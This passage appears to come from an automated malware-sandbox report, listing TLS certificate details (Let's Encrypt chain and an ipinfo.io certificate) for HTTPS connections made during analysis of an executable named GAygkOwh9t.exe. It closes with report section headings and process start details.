70 80 76 77 EA 52 F4 2A B3 6B 90 95 63 35 8D .p.vw.R.*.k..c5.0050: 47 E2 E5 47 6D 9C 80 86 D9 B4 9F 14 86 74 42 1F G..Gm........tB.0060: 7E 93 F8 51 5C 50 83 36 77 02 27 CF F2 80 AE 29 ...Q\P.6w.'....)0070: 4B 97 D5 F1 63 BC 14 08 DF 71 93 85 87 1D 84 61 K...c....q.....a0080: ED 65 14 AD 1A B8 EE E6 C5 EB F3 B1 CB 0C 75 F0 .e............u.0090: 9A B0 31 B0 48 FC 42 69 1A 13 9C E6 45 37 0E EF ..1.H.Bi....E7..00A0: A8 42 A8 C7 B0 4A 16 B2 81 61 D4 E9 A3 32 8E 33 .B...J...a...2.300B0: 97 73 57 84 88 E2 EA B2 CA 84 B9 BD BF 5E 1A 83 .sW..........^..00C0: 73 CB 15 FE 1A CF 09 C2 7E 3A 3C F3 1A D1 53 72 s........:<...Sr00D0: 6F F2 45 0C DD BF C3 D1 5F 6B 51 AF 93 BD D0 76 o.E....._kQ....v00E0: EB 1C DD 60 C3 5E CD 34 F4 42 7B 9D C4 94 39 48 ...`.^.4.B....9H00F0: 8A 02 FD 4D 30 DB FC 40 14 AF 56 6D 42 14 54 DE ...M0..@..VmB.T.]
May 11, 2018 14:13:46.561386108 CEST	443	49225	216.239.32.21	192.168.1.13	CN=Let's Encrypt Authority X3, O=Let's Encrypt, C=US	CN=DST Root CA X3, O=Digital Signature Trust Co.	Thu Mar 17 17:40:46 CET 2016	Wed Mar 17 17:40:46 CET 2021	[[ Version: V3 Subject: CN=Let's Encrypt Authority X3, O=Let's Encrypt, C=US Signature Algorithm: SHA256withRSA, OID = 1.2.840.113549.1.1.11 Key: Sun RSA public key, 2048 bits modulus: 19797248476075437682355852246492227182925025209894527646389863306257272162327717438476096960751529894413137923782807258828237626757946953550223743258656059351948211427799114263948499232121738590221774214131983890556391436336270214266656447169277800971416884432628642288505627878176138101439755752196484972290641499489076846352390454201028735981960275647482014359370041238010607728611828345534572152635280172155598035959878659370929022966413402097129857505568509453268467065766156311136296802046438183697980908977865999500405760226706893415483460747503705792669060406182022181441316967415301631965711690685520847684499 public exponent: 65537 Validity: [From: Thu Mar 17 17:40:46 CET 2016, To: Wed Mar 17 17:40:46 CET 2021] Issuer: CN=DST Root CA X3, O=Digital Signature Trust Co. SerialNumber: [ 0a014142 00000153 85736a0b 85eca708]Certificate Extensions: 7[1]: ObjectId: 1.3.6.1.5.5.7.1.1 Criticality=falseAuthorityInfoAccess [ [ accessMethod: ocsp accessLocation: URIName: http://isrg.trustid.ocsp.identrust.com, accessMethod: caIssuers accessLocation: URIName: http://apps.identrust.com/roots/dstrootcax3.p7c]][2]: ObjectId: 2.5.29.35 Criticality=falseAuthorityKeyIdentifier [KeyIdentifier [0000: C4 A7 B1 A4 7B 2C 71 FA DB E1 4B 90 75 FF C4 15 .....,q...K.u...0010: 60 85 89 10 `...]][3]: ObjectId: 2.5.29.19 Criticality=trueBasicConstraints:[ CA:true PathLen:0][4]: ObjectId: 2.5.29.31 Criticality=falseCRLDistributionPoints [ [DistributionPoint: [URIName: http://crl.identrust.com/DSTROOTCAX3CRL.crl]]][5]: ObjectId: 2.5.29.32 Criticality=falseCertificatePolicies [ [CertificatePolicyId: [2.23.140.1.2.1][] ] [CertificatePolicyId: [1.3.6.1.4.1.44947.1.1.1][PolicyQualifierInfo: [ qualifierID: 1.3.6.1.5.5.7.2.1 qualifier: 0000: 16 22 68 74 74 70 3A 2F 2F 63 70 73 2E 72 6F 6F ."http://cps.roo0010: 74 2D 78 31 2E 6C 65 74 73 65 6E 63 72 79 70 74 t-x1.letsencrypt0020: 2E 6F 72 67 .org]] ]][6]: ObjectId: 2.5.29.15 Criticality=trueKeyUsage [ DigitalSignature Key_CertSign Crl_Sign][7]: ObjectId: 2.5.29.14 Criticality=falseSubjectKeyIdentifier [KeyIdentifier [0000: A8 4A 6A 63 04 7D DD BA E6 D1 39 B7 A6 45 65 EF .Jjc......9..Ee.0010: F3 A8 EC A1 ....]]] Algorithm: [SHA256withRSA] Signature:0000: DD 33 D7 11 F3 63 58 38 DD 18 15 FB 09 55 BE 76 .3...cX8.....U.v0010: 56 B9 70 48 A5 69 47 27 7B C2 24 08 92 F1 5A 1F V.pH.iG'..$...Z.0020: 4A 12 29 37 24 74 51 1C 62 68 B8 CD 95 70 67 E5 J.)7$tQ.bh...pg.0030: F7 A4 BC 4E 28 51 CD 9B E8 AE 87 9D EA D8 BA 5A ...N(Q.........Z0040: A1 01 9A DC F0 DD 6A 1D 6A D8 3E 57 23 9E A6 1E ......j.j.>W#...0050: 04 62 9A FF D7 05 CA B7 1F 3F C0 0A 48 BC 94 B0 .b.......?..H...0060: B6 65 62 E0 C1 54 E5 A3 2A AD 20 C4 E9 E6 BB DC .eb..T..*. .....0070: C8 F6 B5 C3 32 A3 98 CC 77 A8 E6 79 65 07 2B CB ....2...w..ye.+.0080: 28 FE 3A 16 52 81 CE 52 0C 2E 5F 83 E8 D5 06 33 (.:.R..R.._....30090: FB 77 6C CE 40 EA 32 9E 1F 92 5C 41 C1 74 6C 5B .wl.@.2...\A.tl[00A0: 5D 0A 5F 33 CC 4D 9F AC 38 F0 2F 7B 2C 62 9D D9 ]._3.M..8./.,b..00B0: A3 91 6F 25 1B 2F 90 B1 19 46 3D F6 7E 1B A6 7A ..o%./...F=....z00C0: 87 B9 A3 7A 6D 18 FA 25 A5 91 87 15 E0 F2 16 2F ...zm..%......./00D0: 58 B0 06 2F 2C 68 26 C6 4B 98 CD DA 9F 0C F9 7F X../,h&.K.......00E0: 90 ED 43 4A 12 44 4E 6F 73 7A 28 EA A4 AA 6E 7B ..CJ.DNosz(...n.00F0: 4C 7D 87 DD E0 C9 02 44 A7 87 AF C3 34 5B B4 42 L......D....4[.B]
May 11, 2018 14:13:46.766818047 CEST	443	49226	216.239.32.21	192.168.1.13	CN=ipinfo.io	CN=Let's Encrypt Authority X3, O=Let's Encrypt, C=US	Wed May 02 04:14:57 CEST 2018	Tue Jul 31 04:14:57 CEST 2018	[[ Version: V3 Subject: CN=ipinfo.io Signature Algorithm: SHA256withRSA, OID = 1.2.840.113549.1.1.11 Key: Sun RSA public key, 2048 bits modulus: 26147892589792244358670635135877219865952817375752389827951013179201955256426848533007246584458633626197317677435688092351462835591281770205106169370153273213168417095408143083709386565762758754665362777167021619623499758265089705900972803317025082094190341677401740354620038374223250920348380753200236988199552759736979907329385652629465415679430755200722829574000628330409390333820905754403627681325727307763919710598291157308707781003556889107549302677705475933885358922993588039116821296857777502783685899408864942557549637674486119652881384823473805817111555501709331951791094092773411354396742422486319073696379 public exponent: 65537 Validity: [From: Wed May 02 04:14:57 CEST 2018, To: Tue Jul 31 04:14:57 CEST 2018] Issuer: CN=Let's Encrypt Authority X3, O=Let's Encrypt, C=US SerialNumber: [ 03345185 46293bd4 507e2dc6 ba311896 9d6d]Certificate Extensions: 9[1]: ObjectId: 1.3.6.1.4.1.11129.2.4.2 Criticality=falseExtension unknown: DER encoded OCTET string =0000: 04 81 F5 04 81 F2 00 F0 00 76 00 DB 74 AF EE CB .........v..t...0010: 29 EC B1 FE CA 3E 71 6D 2C E5 B9 AA BB 36 F7 84 )....>qm,....6..0020: 71 83 C7 5D 9D 4F 37 B6 1F BF 64 00 00 01 63 1E q..].O7...d...c.0030: D8 88 DA 00 00 04 03 00 47 30 45 02 20 4A F4 56 ........G0E. J.V0040: 70 04 BD 41 B2 33 A5 D8 A3 13 C3 14 07 29 CF 42 p..A.3.......).B0050: 96 B5 10 B9 AB 71 94 26 97 78 35 D7 51 02 21 00 .....q.&.x5.Q.!.0060: C3 73 79 9F 76 B8 40 74 A9 A6 43 56 B7 F3 79 41 .sy.v.@t..CV..yA0070: F7 8E BC 76 69 B9 9F 6B AC 26 0B B8 DD 16 FC FF ...vi..k.&......0080: 00 76 00 A4 50 12 69 05 5A 15 54 5E 62 11 AB 37 .v..P.i.Z.T^b..70090: BC 10 3F 62 AE 55 76 A4 5E 4B 17 14 45 3E 1B 22 ..?b.Uv.^K..E>."00A0: 10 6A 25 00 00 01 63 1E D8 88 C4 00 00 04 03 00 .j%...c.........00B0: 47 30 45 02 21 00 C7 76 DB E9 6F 37 74 58 AB B8 G0E.!..v..o7tX..00C0: E3 E3 3A FF D7 FD 7B B2 88 05 AA 1E F7 3B C9 23 ..:..........;.#00D0: 3F DA 91 FB 89 10 02 20 15 30 C8 96 51 54 CA E2 ?...... .0..QT..00E0: 48 84 27 C9 3A 33 47 C9 E7 19 1A 1F A1 FA 1D B1 H.'.:3G.........00F0: 8B 57 1A 89 C9 D3 4C 76 .W....Lv[2]: ObjectId: 1.3.6.1.5.5.7.1.1 Criticality=falseAuthorityInfoAccess [ [ accessMethod: ocsp accessLocation: URIName: http://ocsp.int-x3.letsencrypt.org, accessMethod: caIssuers accessLocation: URIName: http://cert.int-x3.letsencrypt.org/]][3]: ObjectId: 2.5.29.35 Criticality=falseAuthorityKeyIdentifier [KeyIdentifier [0000: A8 4A 6A 63 04 7D DD BA E6 D1 39 B7 A6 45 65 EF .Jjc......9..Ee.0010: F3 A8 EC A1 ....]][4]: ObjectId: 2.5.29.19 Criticality=trueBasicConstraints:[ CA:false PathLen: undefined][5]: ObjectId: 2.5.29.32 Criticality=falseCertificatePolicies [ [CertificatePolicyId: [2.23.140.1.2.1][] ] [CertificatePolicyId: [1.3.6.1.4.1.44947.1.1.1][PolicyQualifierInfo: [ qualifierID: 1.3.6.1.5.5.7.2.1 qualifier: 0000: 16 1A 68 74 74 70 3A 2F 2F 63 70 73 2E 6C 65 74 ..http://cps.let0010: 73 65 6E 63 72 79 70 74 2E 6F 72 67 sencrypt.org], PolicyQualifierInfo: [ qualifierID: 1.3.6.1.5.5.7.2.2 qualifier: 0000: 30 81 9E 0C 81 9B 54 68 69 73 20 43 65 72 74 69 0.....This Certi0010: 66 69 63 61 74 65 20 6D 61 79 20 6F 6E 6C 79 20 ficate may only 0020: 62 65 20 72 65 6C 69 65 64 20 75 70 6F 6E 20 62 be relied upon b0030: 79 20 52 65 6C 79 69 6E 67 20 50 61 72 74 69 65 y Relying Partie0040: 73 20 61 6E 64 20 6F 6E 6C 79 20 69 6E 20 61 63 s and only in ac0050: 63 6F 72 64 61 6E 63 65 20 77 69 74 68 20 74 68 cordance with th0060: 65 20 43 65 72 74 69 66 69 63 61 74 65 20 50 6F e Certificate Po0070: 6C 69 63 79 20 66 6F 75 6E 64 20 61 74 20 68 74 licy found at ht0080: 74 70 73 3A 2F 2F 6C 65 74 73 65 6E 63 72 79 70 tps://letsencryp0090: 74 2E 6F 72 67 2F 72 65 70 6F 73 69 74 6F 72 79 t.org/repository00A0: 2F /]] ]][6]: ObjectId: 2.5.29.37 Criticality=falseExtendedKeyUsages [ serverAuth clientAuth][7]: ObjectId: 2.5.29.15 Criticality=trueKeyUsage [ DigitalSignature Key_Encipherment][8]: ObjectId: 2.5.29.17 Criticality=falseSubjectAlternativeName [ DNSName: ipinfo.io][9]: ObjectId: 2.5.29.14 Criticality=falseSubjectKeyIdentifier [KeyIdentifier [0000: E2 7D C6 13 A8 1B A0 51 4F 2F 9D C4 89 D9 0F 31 .......QO/.....10010: 9A 35 D8 5A .5.Z]]] Algorithm: [SHA256withRSA] Signature:0000: 5B 60 4B 9E 00 A4 F7 4E 7C 95 03 6A 67 E5 71 B2 [`K....N...jg.q.0010: 1C B6 6D 60 EA 9F B1 A2 3C BA BF 3B 05 15 12 75 ..m`....<..;...u0020: F8 8F BD 60 54 80 B3 C6 C6 C5 F6 79 B8 F6 AC E6 ...`T......y....0030: DC CD 7D 9D 2F 61 9C E6 85 A7 EC E3 4B FF B0 7A ..../a......K..z0040: DA 70 80 76 77 EA 52 F4 2A B3 6B 90 95 63 35 8D .p.vw.R.*.k..c5.0050: 47 E2 E5 47 6D 9C 80 86 D9 B4 9F 14 86 74 42 1F G..Gm........tB.0060: 7E 93 F8 51 5C 50 83 36 77 02 27 CF F2 80 AE 29 ...Q\P.6w.'....)0070: 4B 97 D5 F1 63 BC 14 08 DF 71 93 85 87 1D 84 61 K...c....q.....a0080: ED 65 14 AD 1A B8 EE E6 C5 EB F3 B1 CB 0C 75 F0 .e............u.0090: 9A B0 31 B0 48 FC 42 69 1A 13 9C E6 45 37 0E EF ..1.H.Bi....E7..00A0: A8 42 A8 C7 B0 4A 16 B2 81 61 D4 E9 A3 32 8E 33 .B...J...a...2.300B0: 97 73 57 84 88 E2 EA B2 CA 84 B9 BD BF 5E 1A 83 .sW..........^..00C0: 73 CB 15 FE 1A CF 09 C2 7E 3A 3C F3 1A D1 53 72 s........:<...Sr00D0: 6F F2 45 0C DD BF C3 D1 5F 6B 51 AF 93 BD D0 76 o.E....._kQ....v00E0: EB 1C DD 60 C3 5E CD 34 F4 42 7B 9D C4 94 39 48 ...`.^.4.B....9H00F0: 8A 02 FD 4D 30 DB FC 40 14 AF 56 6D 42 14 54 DE ...M0..@..VmB.T.]
May 11, 2018 14:13:46.766818047 CEST	443	49226	216.239.32.21	192.168.1.13	CN=Let's Encrypt Authority X3, O=Let's Encrypt, C=US	CN=DST Root CA X3, O=Digital Signature Trust Co.	Thu Mar 17 17:40:46 CET 2016	Wed Mar 17 17:40:46 CET 2021	[[ Version: V3 Subject: CN=Let's Encrypt Authority X3, O=Let's Encrypt, C=US Signature Algorithm: SHA256withRSA, OID = 1.2.840.113549.1.1.11 Key: Sun RSA public key, 2048 bits modulus: 19797248476075437682355852246492227182925025209894527646389863306257272162327717438476096960751529894413137923782807258828237626757946953550223743258656059351948211427799114263948499232121738590221774214131983890556391436336270214266656447169277800971416884432628642288505627878176138101439755752196484972290641499489076846352390454201028735981960275647482014359370041238010607728611828345534572152635280172155598035959878659370929022966413402097129857505568509453268467065766156311136296802046438183697980908977865999500405760226706893415483460747503705792669060406182022181441316967415301631965711690685520847684499 public exponent: 65537 Validity: [From: Thu Mar 17 17:40:46 CET 2016, To: Wed Mar 17 17:40:46 CET 2021] Issuer: CN=DST Root CA X3, O=Digital Signature Trust Co. SerialNumber: [ 0a014142 00000153 85736a0b 85eca708]Certificate Extensions: 7[1]: ObjectId: 1.3.6.1.5.5.7.1.1 Criticality=falseAuthorityInfoAccess [ [ accessMethod: ocsp accessLocation: URIName: http://isrg.trustid.ocsp.identrust.com, accessMethod: caIssuers accessLocation: URIName: http://apps.identrust.com/roots/dstrootcax3.p7c]][2]: ObjectId: 2.5.29.35 Criticality=falseAuthorityKeyIdentifier [KeyIdentifier [0000: C4 A7 B1 A4 7B 2C 71 FA DB E1 4B 90 75 FF C4 15 .....,q...K.u...0010: 60 85 89 10 `...]][3]: ObjectId: 2.5.29.19 Criticality=trueBasicConstraints:[ CA:true PathLen:0][4]: ObjectId: 2.5.29.31 Criticality=falseCRLDistributionPoints [ [DistributionPoint: [URIName: http://crl.identrust.com/DSTROOTCAX3CRL.crl]]][5]: ObjectId: 2.5.29.32 Criticality=falseCertificatePolicies [ [CertificatePolicyId: [2.23.140.1.2.1][] ] [CertificatePolicyId: [1.3.6.1.4.1.44947.1.1.1][PolicyQualifierInfo: [ qualifierID: 1.3.6.1.5.5.7.2.1 qualifier: 0000: 16 22 68 74 74 70 3A 2F 2F 63 70 73 2E 72 6F 6F ."http://cps.roo0010: 74 2D 78 31 2E 6C 65 74 73 65 6E 63 72 79 70 74 t-x1.letsencrypt0020: 2E 6F 72 67 .org]] ]][6]: ObjectId: 2.5.29.15 Criticality=trueKeyUsage [ DigitalSignature Key_CertSign Crl_Sign][7]: ObjectId: 2.5.29.14 Criticality=falseSubjectKeyIdentifier [KeyIdentifier [0000: A8 4A 6A 63 04 7D DD BA E6 D1 39 B7 A6 45 65 EF .Jjc......9..Ee.0010: F3 A8 EC A1 ....]]] Algorithm: [SHA256withRSA] Signature:0000: DD 33 D7 11 F3 63 58 38 DD 18 15 FB 09 55 BE 76 .3...cX8.....U.v0010: 56 B9 70 48 A5 69 47 27 7B C2 24 08 92 F1 5A 1F V.pH.iG'..$...Z.0020: 4A 12 29 37 24 74 51 1C 62 68 B8 CD 95 70 67 E5 J.)7$tQ.bh...pg.0030: F7 A4 BC 4E 28 51 CD 9B E8 AE 87 9D EA D8 BA 5A ...N(Q.........Z0040: A1 01 9A DC F0 DD 6A 1D 6A D8 3E 57 23 9E A6 1E ......j.j.>W#...0050: 04 62 9A FF D7 05 CA B7 1F 3F C0 0A 48 BC 94 B0 .b.......?..H...0060: B6 65 62 E0 C1 54 E5 A3 2A AD 20 C4 E9 E6 BB DC .eb..T..*. .....0070: C8 F6 B5 C3 32 A3 98 CC 77 A8 E6 79 65 07 2B CB ....2...w..ye.+.0080: 28 FE 3A 16 52 81 CE 52 0C 2E 5F 83 E8 D5 06 33 (.:.R..R.._....30090: FB 77 6C CE 40 EA 32 9E 1F 92 5C 41 C1 74 6C 5B .wl.@.2...\A.tl[00A0: 5D 0A 5F 33 CC 4D 9F AC 38 F0 2F 7B 2C 62 9D D9 ]._3.M..8./.,b..00B0: A3 91 6F 25 1B 2F 90 B1 19 46 3D F6 7E 1B A6 7A ..o%./...F=....z00C0: 87 B9 A3 7A 6D 18 FA 25 A5 91 87 15 E0 F2 16 2F ...zm..%......./00D0: 58 B0 06 2F 2C 68 26 C6 4B 98 CD DA 9F 0C F9 7F X../,h&.K.......00E0: 90 ED 43 4A 12 44 4E 6F 73 7A 28 EA A4 AA 6E 7B ..CJ.DNosz(...n.00F0: 4C 7D 87 DD E0 C9 02 44 A7 87 AF C3 34 5B B4 42 L......D....4[.B]
May 11, 2018 14:13:46.864504099 CEST	443	49227	216.239.32.21	192.168.1.13	CN=ipinfo.io	CN=Let's Encrypt Authority X3, O=Let's Encrypt, C=US	Wed May 02 04:14:57 CEST 2018	Tue Jul 31 04:14:57 CEST 2018	[[ Version: V3 Subject: CN=ipinfo.io Signature Algorithm: SHA256withRSA, OID = 1.2.840.113549.1.1.11 Key: Sun RSA public key, 2048 bits modulus: 26147892589792244358670635135877219865952817375752389827951013179201955256426848533007246584458633626197317677435688092351462835591281770205106169370153273213168417095408143083709386565762758754665362777167021619623499758265089705900972803317025082094190341677401740354620038374223250920348380753200236988199552759736979907329385652629465415679430755200722829574000628330409390333820905754403627681325727307763919710598291157308707781003556889107549302677705475933885358922993588039116821296857777502783685899408864942557549637674486119652881384823473805817111555501709331951791094092773411354396742422486319073696379 public exponent: 65537 Validity: [From: Wed May 02 04:14:57 CEST 2018, To: Tue Jul 31 04:14:57 CEST 2018] Issuer: CN=Let's Encrypt Authority X3, O=Let's Encrypt, C=US SerialNumber: [ 03345185 46293bd4 507e2dc6 ba311896 9d6d]Certificate Extensions: 9[1]: ObjectId: 1.3.6.1.4.1.11129.2.4.2 Criticality=falseExtension unknown: DER encoded OCTET string =0000: 04 81 F5 04 81 F2 00 F0 00 76 00 DB 74 AF EE CB .........v..t...0010: 29 EC B1 FE CA 3E 71 6D 2C E5 B9 AA BB 36 F7 84 )....>qm,....6..0020: 71 83 C7 5D 9D 4F 37 B6 1F BF 64 00 00 01 63 1E q..].O7...d...c.0030: D8 88 DA 00 00 04 03 00 47 30 45 02 20 4A F4 56 ........G0E. J.V0040: 70 04 BD 41 B2 33 A5 D8 A3 13 C3 14 07 29 CF 42 p..A.3.......).B0050: 96 B5 10 B9 AB 71 94 26 97 78 35 D7 51 02 21 00 .....q.&.x5.Q.!.0060: C3 73 79 9F 76 B8 40 74 A9 A6 43 56 B7 F3 79 41 .sy.v.@t..CV..yA0070: F7 8E BC 76 69 B9 9F 6B AC 26 0B B8 DD 16 FC FF ...vi..k.&......0080: 00 76 00 A4 50 12 69 05 5A 15 54 5E 62 11 AB 37 .v..P.i.Z.T^b..70090: BC 10 3F 62 AE 55 76 A4 5E 4B 17 14 45 3E 1B 22 ..?b.Uv.^K..E>."00A0: 10 6A 25 00 00 01 63 1E D8 88 C4 00 00 04 03 00 .j%...c.........00B0: 47 30 45 02 21 00 C7 76 DB E9 6F 37 74 58 AB B8 G0E.!..v..o7tX..00C0: E3 E3 3A FF D7 FD 7B B2 88 05 AA 1E F7 3B C9 23 ..:..........;.#00D0: 3F DA 91 FB 89 10 02 20 15 30 C8 96 51 54 CA E2 ?...... .0..QT..00E0: 48 84 27 C9 3A 33 47 C9 E7 19 1A 1F A1 FA 1D B1 H.'.:3G.........00F0: 8B 57 1A 89 C9 D3 4C 76 .W....Lv[2]: ObjectId: 1.3.6.1.5.5.7.1.1 Criticality=falseAuthorityInfoAccess [ [ accessMethod: ocsp accessLocation: URIName: http://ocsp.int-x3.letsencrypt.org, accessMethod: caIssuers accessLocation: URIName: http://cert.int-x3.letsencrypt.org/]][3]: ObjectId: 2.5.29.35 Criticality=falseAuthorityKeyIdentifier [KeyIdentifier [0000: A8 4A 6A 63 04 7D DD BA E6 D1 39 B7 A6 45 65 EF .Jjc......9..Ee.0010: F3 A8 EC A1 ....]][4]: ObjectId: 2.5.29.19 Criticality=trueBasicConstraints:[ CA:false PathLen: undefined][5]: ObjectId: 2.5.29.32 Criticality=falseCertificatePolicies [ [CertificatePolicyId: [2.23.140.1.2.1][] ] [CertificatePolicyId: [1.3.6.1.4.1.44947.1.1.1][PolicyQualifierInfo: [ qualifierID: 1.3.6.1.5.5.7.2.1 qualifier: 0000: 16 1A 68 74 74 70 3A 2F 2F 63 70 73 2E 6C 65 74 ..http://cps.let0010: 73 65 6E 63 72 79 70 74 2E 6F 72 67 sencrypt.org], PolicyQualifierInfo: [ qualifierID: 1.3.6.1.5.5.7.2.2 qualifier: 0000: 30 81 9E 0C 81 9B 54 68 69 73 20 43 65 72 74 69 0.....This Certi0010: 66 69 63 61 74 65 20 6D 61 79 20 6F 6E 6C 79 20 ficate may only 0020: 62 65 20 72 65 6C 69 65 64 20 75 70 6F 6E 20 62 be relied upon b0030: 79 20 52 65 6C 79 69 6E 67 20 50 61 72 74 69 65 y Relying Partie0040: 73 20 61 6E 64 20 6F 6E 6C 79 20 69 6E 20 61 63 s and only in ac0050: 63 6F 72 64 61 6E 63 65 20 77 69 74 68 20 74 68 cordance with th0060: 65 20 43 65 72 74 69 66 69 63 61 74 65 20 50 6F e Certificate Po0070: 6C 69 63 79 20 66 6F 75 6E 64 20 61 74 20 68 74 licy found at ht0080: 74 70 73 3A 2F 2F 6C 65 74 73 65 6E 63 72 79 70 tps://letsencryp0090: 74 2E 6F 72 67 2F 72 65 70 6F 73 69 74 6F 72 79 t.org/repository00A0: 2F /]] ]][6]: ObjectId: 2.5.29.37 Criticality=falseExtendedKeyUsages [ serverAuth clientAuth][7]: ObjectId: 2.5.29.15 Criticality=trueKeyUsage [ DigitalSignature Key_Encipherment][8]: ObjectId: 2.5.29.17 Criticality=falseSubjectAlternativeName [ DNSName: ipinfo.io][9]: ObjectId: 2.5.29.14 Criticality=falseSubjectKeyIdentifier [KeyIdentifier [0000: E2 7D C6 13 A8 1B A0 51 4F 2F 9D C4 89 D9 0F 31 .......QO/.....10010: 9A 35 D8 5A .5.Z]]] Algorithm: [SHA256withRSA] Signature:0000: 5B 60 4B 9E 00 A4 F7 4E 7C 95 03 6A 67 E5 71 B2 [`K....N...jg.q.0010: 1C B6 6D 60 EA 9F B1 A2 3C BA BF 3B 05 15 12 75 ..m`....<..;...u0020: F8 8F BD 60 54 80 B3 C6 C6 C5 F6 79 B8 F6 AC E6 ...`T......y....0030: DC CD 7D 9D 2F 61 9C E6 85 A7 EC E3 4B FF B0 7A ..../a......K..z0040: DA 70 80 76 77 EA 52 F4 2A B3 6B 90 95 63 35 8D .p.vw.R.*.k..c5.0050: 47 E2 E5 47 6D 9C 80 86 D9 B4 9F 14 86 74 42 1F G..Gm........tB.0060: 7E 93 F8 51 5C 50 83 36 77 02 27 CF F2 80 AE 29 ...Q\P.6w.'....)0070: 4B 97 D5 F1 63 BC 14 08 DF 71 93 85 87 1D 84 61 K...c....q.....a0080: ED 65 14 AD 1A B8 EE E6 C5 EB F3 B1 CB 0C 75 F0 .e............u.0090: 9A B0 31 B0 48 FC 42 69 1A 13 9C E6 45 37 0E EF ..1.H.Bi....E7..00A0: A8 42 A8 C7 B0 4A 16 B2 81 61 D4 E9 A3 32 8E 33 .B...J...a...2.300B0: 97 73 57 84 88 E2 EA B2 CA 84 B9 BD BF 5E 1A 83 .sW..........^..00C0: 73 CB 15 FE 1A CF 09 C2 7E 3A 3C F3 1A D1 53 72 s........:<...Sr00D0: 6F F2 45 0C DD BF C3 D1 5F 6B 51 AF 93 BD D0 76 o.E....._kQ....v00E0: EB 1C DD 60 C3 5E CD 34 F4 42 7B 9D C4 94 39 48 ...`.^.4.B....9H00F0: 8A 02 FD 4D 30 DB FC 40 14 AF 56 6D 42 14 54 DE ...M0..@..VmB.T.]
May 11, 2018 14:13:46.864504099 CEST	443	49227	216.239.32.21	192.168.1.13	CN=Let's Encrypt Authority X3, O=Let's Encrypt, C=US	CN=DST Root CA X3, O=Digital Signature Trust Co.	Thu Mar 17 17:40:46 CET 2016	Wed Mar 17 17:40:46 CET 2021	[[ Version: V3 Subject: CN=Let's Encrypt Authority X3, O=Let's Encrypt, C=US Signature Algorithm: SHA256withRSA, OID = 1.2.840.113549.1.1.11 Key: Sun RSA public key, 2048 bits modulus: 19797248476075437682355852246492227182925025209894527646389863306257272162327717438476096960751529894413137923782807258828237626757946953550223743258656059351948211427799114263948499232121738590221774214131983890556391436336270214266656447169277800971416884432628642288505627878176138101439755752196484972290641499489076846352390454201028735981960275647482014359370041238010607728611828345534572152635280172155598035959878659370929022966413402097129857505568509453268467065766156311136296802046438183697980908977865999500405760226706893415483460747503705792669060406182022181441316967415301631965711690685520847684499 public exponent: 65537 Validity: [From: Thu Mar 17 17:40:46 CET 2016, To: Wed Mar 17 17:40:46 CET 2021] Issuer: CN=DST Root CA X3, O=Digital Signature Trust Co. SerialNumber: [ 0a014142 00000153 85736a0b 85eca708]Certificate Extensions: 7[1]: ObjectId: 1.3.6.1.5.5.7.1.1 Criticality=falseAuthorityInfoAccess [ [ accessMethod: ocsp accessLocation: URIName: http://isrg.trustid.ocsp.identrust.com, accessMethod: caIssuers accessLocation: URIName: http://apps.identrust.com/roots/dstrootcax3.p7c]][2]: ObjectId: 2.5.29.35 Criticality=falseAuthorityKeyIdentifier [KeyIdentifier [0000: C4 A7 B1 A4 7B 2C 71 FA DB E1 4B 90 75 FF C4 15 .....,q...K.u...0010: 60 85 89 10 `...]][3]: ObjectId: 2.5.29.19 Criticality=trueBasicConstraints:[ CA:true PathLen:0][4]: ObjectId: 2.5.29.31 Criticality=falseCRLDistributionPoints [ [DistributionPoint: [URIName: http://crl.identrust.com/DSTROOTCAX3CRL.crl]]][5]: ObjectId: 2.5.29.32 Criticality=falseCertificatePolicies [ [CertificatePolicyId: [2.23.140.1.2.1][] ] [CertificatePolicyId: [1.3.6.1.4.1.44947.1.1.1][PolicyQualifierInfo: [ qualifierID: 1.3.6.1.5.5.7.2.1 qualifier: 0000: 16 22 68 74 74 70 3A 2F 2F 63 70 73 2E 72 6F 6F ."http://cps.roo0010: 74 2D 78 31 2E 6C 65 74 73 65 6E 63 72 79 70 74 t-x1.letsencrypt0020: 2E 6F 72 67 .org]] ]][6]: ObjectId: 2.5.29.15 Criticality=trueKeyUsage [ DigitalSignature Key_CertSign Crl_Sign][7]: ObjectId: 2.5.29.14 Criticality=falseSubjectKeyIdentifier [KeyIdentifier [0000: A8 4A 6A 63 04 7D DD BA E6 D1 39 B7 A6 45 65 EF .Jjc......9..Ee.0010: F3 A8 EC A1 ....]]] Algorithm: [SHA256withRSA] Signature:0000: DD 33 D7 11 F3 63 58 38 DD 18 15 FB 09 55 BE 76 .3...cX8.....U.v0010: 56 B9 70 48 A5 69 47 27 7B C2 24 08 92 F1 5A 1F V.pH.iG'..$...Z.0020: 4A 12 29 37 24 74 51 1C 62 68 B8 CD 95 70 67 E5 J.)7$tQ.bh...pg.0030: F7 A4 BC 4E 28 51 CD 9B E8 AE 87 9D EA D8 BA 5A ...N(Q.........Z0040: A1 01 9A DC F0 DD 6A 1D 6A D8 3E 57 23 9E A6 1E ......j.j.>W#...0050: 04 62 9A FF D7 05 CA B7 1F 3F C0 0A 48 BC 94 B0 .b.......?..H...0060: B6 65 62 E0 C1 54 E5 A3 2A AD 20 C4 E9 E6 BB DC .eb..T..*. .....0070: C8 F6 B5 C3 32 A3 98 CC 77 A8 E6 79 65 07 2B CB ....2...w..ye.+.0080: 28 FE 3A 16 52 81 CE 52 0C 2E 5F 83 E8 D5 06 33 (.:.R..R.._....30090: FB 77 6C CE 40 EA 32 9E 1F 92 5C 41 C1 74 6C 5B .wl.@.2...\A.tl[00A0: 5D 0A 5F 33 CC 4D 9F AC 38 F0 2F 7B 2C 62 9D D9 ]._3.M..8./.,b..00B0: A3 91 6F 25 1B 2F 90 B1 19 46 3D F6 7E 1B A6 7A ..o%./...F=....z00C0: 87 B9 A3 7A 6D 18 FA 25 A5 91 87 15 E0 F2 16 2F ...zm..%......./00D0: 58 B0 06 2F 2C 68 26 C6 4B 98 CD DA 9F 0C F9 7F X../,h&.K.......00E0: 90 ED 43 4A 12 44 4E 6F 73 7A 28 EA A4 AA 6E 7B ..CJ.DNosz(...n.00F0: 4C 7D 87 DD E0 C9 02 44 A7 87 AF C3 34 5B B4 42 L......D....4[.B]

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: GAygkOwh9t.exe PID: 100 Parent PID: 1080

General

Start time:	14:13:03
Start date:	11/05/2018
Path:	C:\Users\user\Desktop\plugins\GAygkOwh9t.exe
Wow64 process (32bit):	false
